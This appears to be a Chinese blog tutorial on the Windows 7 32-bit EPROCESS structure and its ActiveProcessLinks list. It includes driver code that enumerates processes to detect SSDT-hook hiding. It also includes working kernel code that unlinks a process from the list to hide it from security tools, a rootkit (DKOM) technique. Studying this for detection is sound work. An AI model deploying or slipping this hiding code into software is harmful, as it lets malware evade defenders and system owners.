1.EPROCESS结构体

EPROCESS块来表示。EPROCESS块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针。例如每一个进程里面都至少有一个ETHREAD块表示的线程。进程的名字,和在用户空间的PEB(进程环境)块等等。EPROCESS中除了PEB成员块在是用户空间,其他都是在系统空间中的。

2.查看EPROCESS结构

kd> dt_eprocess
ntdll!_EPROCESS
   +0×000 Pcb              : _KPROCESS
   +0×098 ProcessLock      : _EX_PUSH_LOCK
   +0x0a0 CreateTime       : _LARGE_INTEGER                          //创建时间
   +0x0a8 ExitTime         : _LARGE_INTEGER                             //退出时间
   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF
   +0x0b4 UniqueProcessId  : Ptr32 Void                                        //进程的pid
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY                            //活动进程链表
   +0x0c0 ProcessQuotaUsage : [2] Uint4B
   +0x0c8 ProcessQuotaPeak : [2] Uint4B
   +0x0d0 CommitCharge     : Uint4B
   +0x0d4 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK
   +0x0d8 CpuQuotaBlock    : Ptr32 _PS_CPU_QUOTA_BLOCK
   +0x0dc PeakVirtualSize  : Uint4B
   +0x0e0 VirtualSize      : Uint4B
   +0x0e4 SessionProcessLinks : _LIST_ENTRY
   +0x0ec DebugPort        : Ptr32 Void
   +0x0f0 ExceptionPortData : Ptr32 Void
   +0x0f0 ExceptionPortValue : Uint4B
   +0x0f0 ExceptionPortState : Pos 0, 3 Bits
   +0x0f4 ObjectTable      : Ptr32 _HANDLE_TABLE                       //指向句柄表的指针
   +0x0f8 Token            : _EX_FAST_REF
   +0x0fc WorkingSetPage   : Uint4B
   +0×100 AddressCreationLock : _EX_PUSH_LOCK
   +0×104 RotateInProgress : Ptr32 _ETHREAD
   +0×108 ForkInProgress   : Ptr32 _ETHREAD
   +0x10c HardwareTrigger  : Uint4B
   +0×110 PhysicalVadRoot  : Ptr32 _MM_AVL_TABLE
   +0×114 CloneRoot        : Ptr32 Void
   +0×118 NumberOfPrivatePages : Uint4B
   +0x11c NumberOfLockedPages : Uint4B
   +0×120 Win32Process     : Ptr32 Void
   +0×124 Job              : Ptr32 _EJOB
   +0×128 SectionObject    : Ptr32 Void
   +0x12c SectionBaseAddress : Ptr32 Void
   +0×130 Cookie           : Uint4B
   +0×134 Spare8           : Uint4B
   +0×138 WorkingSetWatch  : Ptr32 _PAGEFAULT_HISTORY
   +0x13c Win32WindowStation : Ptr32 Void
   +0×140 InheritedFromUniqueProcessId : Ptr32 Void
   +0×144 LdtInformation   : Ptr32 Void
   +0×148 VdmObjects       : Ptr32 Void
   +0x14c ConsoleHostProcess : Uint4B
   +0×150 DeviceMap        : Ptr32 Void
   +0×154 EtwDataSource    : Ptr32 Void
   +0×158 FreeTebHint      : Ptr32 Void
   +0×160 PageDirectoryPte : _HARDWARE_PTE_X86
   +0×160 Filler           : Uint8B
   +0×168 Session          : Ptr32 Void
   +0x16c ImageFileName    : [15] UChar                               //进程名称
   +0x17b PriorityClass    : UChar
   +0x17c JobLinks         : _LIST_ENTRY
   +0×184 LockedPagesList  : Ptr32 Void
   +0×188 ThreadListHead   : _LIST_ENTRY                      //进程里的线程链表
   +0×190 SecurityPort     : Ptr32 Void
   +0×194 PaeTop           : Ptr32 Void
   +0×198 ActiveThreads    : Uint4B
   +0x19c ImagePathHash    : Uint4B
   +0x1a0 DefaultHardErrorProcessing : Uint4B
   +0x1a4 LastThreadExitStatus : Int4B
   +0x1a8 Peb              : Ptr32 _PEB                        //指向PEB的指针
   +0x1ac PrefetchTrace    : _EX_FAST_REF
   +0x1b0 ReadOperationCount : _LARGE_INTEGER
   +0x1b8 WriteOperationCount : _LARGE_INTEGER
   +0x1c0 OtherOperationCount : _LARGE_INTEGER
   +0x1c8 ReadTransferCount : _LARGE_INTEGER
   +0x1d0 WriteTransferCount : _LARGE_INTEGER
   +0x1d8 OtherTransferCount : _LARGE_INTEGER
   +0x1e0 CommitChargeLimit : Uint4B
   +0x1e4 CommitChargePeak : Uint4B
   +0x1e8 AweInfo          : Ptr32 Void
   +0x1ec SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
   +0x1f0 Vm               : _MMSUPPORT
   +0x25c MmProcessLinks   : _LIST_ENTRY
   +0×264 HighestUserAddress : Ptr32 Void
   +0×268 ModifiedPageCount : Uint4B
   +0x26c Flags2           : Uint4B
   +0x26c JobNotReallyActive : Pos 0, 1 Bit
   +0x26c AccountingFolded : Pos 1, 1 Bit
   +0x26c NewProcessReported : Pos 2, 1 Bit
   +0x26c ExitProcessReported : Pos 3, 1 Bit
   +0x26c ReportCommitChanges : Pos 4, 1 Bit
   +0x26c LastReportMemory : Pos 5, 1 Bit
   +0x26c ReportPhysicalPageChanges : Pos 6, 1 Bit
   +0x26c HandleTableRundown : Pos 7, 1 Bit
   +0x26c NeedsHandleRundown : Pos 8, 1 Bit
   +0x26c RefTraceEnabled  : Pos 9, 1 Bit
   +0x26c NumaAware        : Pos 10, 1 Bit
   +0x26c ProtectedProcess : Pos 11, 1 Bit
   +0x26c DefaultPagePriority : Pos 12, 3 Bits
   +0x26c PrimaryTokenFrozen : Pos 15, 1 Bit
   +0x26c ProcessVerifierTarget : Pos 16, 1 Bit
   +0x26c StackRandomizationDisabled : Pos 17, 1 Bit
   +0x26c AffinityPermanent : Pos 18, 1 Bit
   +0x26c AffinityUpdateEnable : Pos 19, 1 Bit
   +0x26c PropagateNode    : Pos 20, 1 Bit
   +0x26c ExplicitAffinity : Pos 21, 1 Bit
   +0×270 Flags            : Uint4B
   +0×270 CreateReported   : Pos 0, 1 Bit
   +0×270 NoDebugInherit   : Pos 1, 1 Bit
   +0×270 ProcessExiting   : Pos 2, 1 Bit
   +0×270 ProcessDelete    : Pos 3, 1 Bit
   +0×270 Wow64SplitPages  : Pos 4, 1 Bit
   +0×270 VmDeleted        : Pos 5, 1 Bit
   +0×270 OutswapEnabled   : Pos 6, 1 Bit
   +0×270 Outswapped       : Pos 7, 1 Bit
   +0×270 ForkFailed       : Pos 8, 1 Bit
   +0×270 Wow64VaSpace4Gb  : Pos 9, 1 Bit
   +0×270 AddressSpaceInitialized : Pos 10, 2 Bits
   +0×270 SetTimerResolution : Pos 12, 1 Bit
   +0×270 BreakOnTermination : Pos 13, 1 Bit
   +0×270 DeprioritizeViews : Pos 14, 1 Bit
   +0×270 WriteWatch       : Pos 15, 1 Bit
   +0×270 ProcessInSession : Pos 16, 1 Bit
   +0×270 OverrideAddressSpace : Pos 17, 1 Bit
   +0×270 HasAddressSpace  : Pos 18, 1 Bit
   +0×270 LaunchPrefetched : Pos 19, 1 Bit
   +0×270 InjectInpageErrors : Pos 20, 1 Bit
   +0×270 VmTopDown        : Pos 21, 1 Bit
   +0×270 ImageNotifyDone  : Pos 22, 1 Bit
   +0×270 PdeUpdateNeeded  : Pos 23, 1 Bit
   +0×270 VdmAllowed       : Pos 24, 1 Bit
   +0×270 CrossSessionCreate : Pos 25, 1 Bit
   +0×270 ProcessInserted  : Pos 26, 1 Bit
   +0×270 DefaultIoPriority : Pos 27, 3 Bits
   +0×270 ProcessSelfDelete : Pos 30, 1 Bit
   +0×270 SetTimerResolutionLink : Pos 31, 1 Bit
   +0×274 ExitStatus       : Int4B
   +0×278 VadRoot          : _MM_AVL_TABLE
   +0×298 AlpcContext      : _ALPC_PROCESS_CONTEXT
   +0x2a8 TimerResolutionLink : _LIST_ENTRY
   +0x2b0 RequestedTimerResolution : Uint4B
   +0x2b4 ActiveThreadsHighWatermark : Uint4B
   +0x2b8 SmallestTimerResolution : Uint4B
   +0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD

3.什么是进程活动链表?

EPROCESS块中有一个ActiveProcessLinks成员,它是一个PLIST_ENTRY结构的双向链表。当一个新进程建立的时候父进程负责完成EPROCESS块,然后把ActiveProcessLinks链接到一个全局内核变量PsActiveProcessHead链表中。

在PspCreateProcess内核API中能清晰的找到:

InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);

当进程结束的时候,该进程的EPROCESS结构当从活动进程链上摘除。(但是EPROCESS结构不一定就马上释放)。

在PspExitProcess内核API中能清晰的找到:

RemoveEntryList(&Process->ActiveProcessLinks);

所以我们完全可以利用活动进程链表来对进程进行枚举。

关于链表的使用,可以参考:Windows内核中字符串和链表的使用

4. 进程枚举检测Hook SSDT隐藏的进程。

我们前面在SSDT Hook实现简单的进程隐藏和保护这篇文章中讲到如果使用ssdt hook来隐藏进程。

事实上Nactive API ZwQuerySystemInformation 对进程查询也是找到活动进程链表头,然后遍历活动进程链。最后把每一个EPROCESS中包含的基本信息返回(包括进程ID名字等)。所以用遍历活动进程链表的办法能有效的把Hook SSDT进行隐藏的进程轻而易举的查出来。但是PsActiveProcessHead并没被ntoskrnl.exe 导出来,所以我们可以利用硬编码的办法,来解决这个问题。

在win7 32位下:

#define PIDOFFSET 0xb4   //_EPROCESS中UniqueProcessId的偏移
#define FLICKOFFSET 0xb8   //_EPROCESS中ActiveProcessLinks偏移
#define IMAGEFILENAME 0x16C   //_EPROCESS中ImageFileName的偏移

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//遍历ActiveProcessLinks来显示所有进程
void ShowEPROCESS()
{
    DWORD EProcess,FirstEProcess;
    LIST_ENTRY*     ActiveProcessLinks;
    DWORD pid,dwCount=0;
    PUCHAR pImage;
    EProcess=FirstEProcess=(DWORD)PsGetCurrentProcess();
    __try {  
        while ( EProcess!= 0)  
        {  
            dwCount++;  
            pid= *( (DWORD*)( EProcess + PIDOFFSET ) );  
            pImage= (PUCHAR)( EProcess + IMAGEFILENAME ) ;

DbgPrint ( "[Pid=%8d] EProcess=0x%08X %s\n", pid, EProcess, pImage) ;

ActiveProcessLinks = (LIST_ENTRY*) ( EProcess + FLICKOFFSET ) ;  
            EProcess = (DWORD)ActiveProcessLinks->Flink - FLICKOFFSET ;

if ( EProcess == FirstEProcess )  
                break ;  
        }  
        DbgPrint ( "ProcessCount = %d\n", dwCount ) ;  
    }
    __except ( 1 ) {  
        DbgPrint ( "EnumProcessList exception !" ) ;  
    }
}

5. 删除活动进程链表节点实现进程隐藏

由于Windows是基于线程调度的。所以如果我们把要隐藏的进程的EPROCESS块从活动进程链上摘除,就能有效的绕过基于通过活动进程链表检测进程的防御系统。因为是以线程为基本单位进行调度,所以摘除过后并不影响隐藏进程的线程调度。

示例代码:

根据pid在进程活动链表中找到进程的eprocess结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
DWORD FindProcessInEPROCESS(int hidePid)
{
    DWORD eproc = 0x00000000;
    int currentPid = 0;
    int startPid = 0;
    int cout = 0;
    PLIST_ENTRY pListActiveProcs;

if(0 == hidePid)
    {
        return hidePid;
    }

//遍历ActiveList
    eproc = (DWORD)PsGetCurrentProcess();
    startPid = *((DWORD*)(eproc+PIDOFFSET));
    currentPid = startPid;

while(TRUE)
    {
        if(hidePid  == currentPid)
        {
            return eproc;
        }else if((cout >= 1) && (startPid == currentPid))
        {  
            //没有找到
            return 0x00000000;
        }else{
            pListActiveProcs = (LIST_ENTRY *)(eproc + FLICKOFFSET);
            eproc = (DWORD) pListActiveProcs->Flink;
            eproc = eproc - FLICKOFFSET;
            currentPid = *((int *)(eproc + PIDOFFSET));
        }
    }
}

把这个结构体从活动进程链表中摘去

1
2
3
4
5
6
7
8
9
10
11
12
void HideProcess(int hidePid)
{
    PLIST_ENTRY pListActiveProcs = NULL;
    PLIST_ENTRY pHandleTable = NULL;
    DWORD eproc = FindProcessInEPROCESS(hidePid);// 在EPROCESS结构中找到这个进程
    DbgPrint("eproc %08X",eproc);
    pListActiveProcs = (LIST_ENTRY*)(eproc + FLICKOFFSET);
    *((DWORD*)pListActiveProcs->Blink) = (DWORD)pListActiveProcs->Flink;
    *((DWORD*)pListActiveProcs->Flink+1) = (DWORD)pListActiveProcs->Blink;
    pListActiveProcs->Flink = (LIST_ENTRY *)&(pListActiveProcs->Flink);
    pListActiveProcs->Blink = (LIST_ENTRY *)&(pListActiveProcs->Flink);
}

本文链接:http://www.blogfshare.com/activeprocesslinks-dkom.html

jpg 改 rar

遍历进程活动链表(ActiveProcessLinks)、DKOM隐藏进程的更多相关文章

  1. 遍历PspCidTable表检测隐藏进程

    一.PspCidTable概述 PspCidTable也是一个句柄表,其格式与普通的句柄表是完全一样的,但它与每个进程私有的句柄表有以下不同: 1.PspCidTable中存放的对象是系统中所有的进程 ...

  2. Win64 驱动内核编程-21.DKOM隐藏和保护进程

    DKOM隐藏和保护进程 主要就是操作链表,以及修改节点内容. DKOM 隐藏进程和保护进程的本质是操作 EPROCESS 结构体,不同的系统用的时候注意查下相关定义,确定下偏移,下面的数据是以win7 ...

  3. Linux进程退出详解(do_exit)--Linux进程的管理与调度(十四)

    Linux进程的退出 linux下进程退出的方式 正常退出 从main函数返回return 调用exit 调用_exit 异常退出 调用abort 由信号终止 _exit, exit和_Exit的区别 ...

  4. 修改ActiveProcessLinks链表隐藏进程

    在Windows内核中有一个活动进程链表AcvtivePeorecssList.它是一个双向链表,保存着系统中所有进程的EPROCESS结构.特别地,进程的EPROCESS结构包含一个具有指针成员FL ...

  5. Ring0隐藏进程的方法

    第一种在系统调用服务表HOOK ZwQuerySystemInformation函数地址 使用InterlockedExchange函数将ZwQuerySystemInformation在内核导出表K ...

  6. 隐藏进程中的模块绕过IceSword的检测

    标 题: [原创] 隐藏进程中的模块绕过IceSword的检测 作 者: xPLK 时 间: 2008-06-19,17:59:11 链 接: http://bbs.pediy.com/showthr ...

  7. linux管理进程的链表

    linux2.6.11的内核中,为了方便管理linux的进程,主要建了5种linux链表.每个链表节点之间的互联有两种方式,一种是hash节点之间的互联,通过hlist_node的数据结构来实现:另一 ...

  8. 安全之路 —— 借助DLL进行远程线程注入实现穿墙与隐藏进程

    简介        大多数后门或病毒要想初步实现隐藏进程,即不被像任务管理器这样典型的RING3级进程管理器找到过于明显的不明进程,其中比较著名的方法就是通过远程线程注入的方法注入将恶意进程的DLL文 ...

  9. linux如和对其他用户隐藏进程?

    Linux kernel 3.2以上,root用户可以设置内核,让普通用户看不到其它用户的进程.适用于有多个用户使用的系统.该功能由内核提供,因此本教程适用于Debian/Ubuntu/RHEL/Ce ...

随机推荐

  1. Appium+Robotframework实现Android应用的自动化测试-1:Appium在Windows中的安装

    让我们开始在Windows中开始安装Appium吧,Appium在OS X中的具体安装后面的文章会介绍. 另外,官网上说先要装Node.js,还要装Apache Ant和Apache Maven,Gi ...

  2. 基础02 Java 跨平台原理

    1993 , JAVA初衷: 机顶盒 1994 年互联网刚刚兴起,.(高司令\ 高斯林),改造成了面向互联网的计算机语言.java重要特性之 ------- 跨平台(一次编译,到处运行).平台:操作系 ...

  3. 关于定时器 setTimeout

    1.这里不考虑线程问题.把javascript想象成在时间线上运行,页面载入时,首先执行的是<script>标签中的代码,之后,将执行更多代码,当进程空闲时,下个代码就被触发并执行 如图: ...

  4. 数据结构-链表实现删除全部特定元素x

    链表节点类定义: template <class T> class SingleList; template <class T> class Node { private: T ...

  5. pod install 慢

    最近使用CocoaPods来添加第三方类库,无论是执行pod install还是pod update都卡在了Analyzing dependencies不动 原因在于当执行以上两个命令的时候会升级Co ...

  6. error TRK0002

    运行程序出现error TRK0002的原因是因为3ds max中打开了程序生成的模型,同时使用导致memory conflict,然后随之出现一些乱七八糟的问题. 只要将3ds max重置即可,即不 ...

  7. gcc提供的原子操作函数

    gcc从4.1.2提供了__sync_*系列的built-in函数,用于提供加减和逻辑运算的原子操作.其声明如下: type __sync_fetch_and_add (type *ptr, type ...

  8. Swift - 初始化Initialization

    Ps:苹果官方文档-Initialization 自定义控件初始化中常见的几种错误(指定构造器和便利构造器)截图:   意思是:1.没有添加重写符override(重写父类方法)2.没有重写initW ...

  9. DB2 SQL Mixed data in character strings

    Mixed character data and graphic data are always allowed for Unicode, but for EBCDIC and ASCII, the ...

  10. 第一个JAVA创建

    1.file-new-java project  创建项目文件夹 2.在项目文件夹new-class 3.java对大小写比较敏感 输入代码 public class HELLOWORD { publ ...